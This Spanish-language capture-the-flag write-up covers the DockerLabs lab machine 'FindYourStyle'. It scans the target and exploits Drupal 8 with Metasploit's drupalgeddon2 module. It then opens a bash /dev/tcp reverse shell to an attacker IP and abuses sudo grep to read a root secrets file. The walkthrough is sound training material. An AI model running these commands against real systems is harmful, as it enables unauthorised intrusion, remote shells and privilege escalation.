> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/findyourstyle.md).

# FindYourStyle

✍️ Autor: El Pingüino de Mario🔍 Dificultad: Fácil  📅 Fecha de creación: 16/10/2024

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEhYrFMrsspAx4abCVuga%2Fimage.png?alt=media&amp;token=ece3cdd3-3a35-4f81-a74d-d66d259ba148" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FFpZigpwfMRXPqu8l2rjp%2Fimage.png?alt=media&amp;token=def9985b-0a0e-47e9-a951-fff0ced01783" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 80** perteneciente al **servicio HTTP** está abierto por lo que a continuación se indagará más.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p80 -v 172.17.0.2
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F6cNC0rZ5flwLyEZmVWw5%2Fimage.png?alt=media&amp;token=5ddcadf5-c200-4b76-8500-084882cde935" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web que está alojada a través de un **Drupal 8**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FgqxUHhopHP0lWxUS216K%2Fimage.png?alt=media&amp;token=f2a4218a-f561-4654-9413-753d92c47131" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Esta versión contiene varios exploits pero voy a explotar uno concretamente con **Metasploit**.

```bash
msfconsole
search drupal 8
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set RHOSTS 172.17.0.2
exploit
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fp4LFK9PQ84KdYaqoWNqx%2Fimage.png?alt=media&amp;token=8a3f1d57-00b7-4bd4-a7b4-cce5804a2736" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fe4GMuzd3BtxTeaBzdXUh%2Fimage.png?alt=media&amp;token=40a1c29a-5360-4bec-acc1-e3e883136f3e" alt=""><figcaption></figcaption></figure>

En meterpreter.

<pre><code><strong>shell 
</strong>bash -i
find / -name settings.php 2>/dev/null
</code></pre>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FfguGplsIOqzOKY9zBWAL%2Fimage.png?alt=media&amp;token=b6695b6a-0d12-46a0-bd88-303e7a5ce04f" alt=""><figcaption></figcaption></figure>

Nos mandamos una Reverse Shell.

```bash
/bin/bash -i >& /dev/tcp/192.168.255.136/443 0>&1
```

Nos ponemos en escucha.

```bash
nc -lvnp 443
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FQoGHkAIufhjays4ZYeX9%2Fimage.png?alt=media&amp;token=9119c0fa-d4b3-4125-9a75-bb7952734d67" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. No tenemos permisos **SUDO**.

Nos logueamos con el usuario **ballenita** que hemos encontrado.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F746DcqkWD98MNw16iTv9%2Fimage.png?alt=media&amp;token=d2b4a9ba-45e4-49d2-921b-6ba16d36c8af" alt=""><figcaption></figcaption></figure>

Nos llama la atención **grep** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/grep/#sudo)cómo explotarlo. Vamos a leer si hay en el directorio de `/root`.

```bash
sudo -u root /bin/ls /root/
sudo grep '' /root/secretitomaximo.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fnd7d2QyNjvLAfOhn9qHp%2Fimage.png?alt=media&amp;token=f73bd679-0243-41ec-994e-602f9d7296b1" alt=""><figcaption></figcaption></figure>

Nos convertirnos en **root** con esas credenciales.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F6aztNJ2kdMj8fwJApjQv%2Fimage.png?alt=media&amp;token=a9cd6ba0-14b4-482e-a2e2-03ae93d3d008" alt=""><figcaption></figcaption></figure>
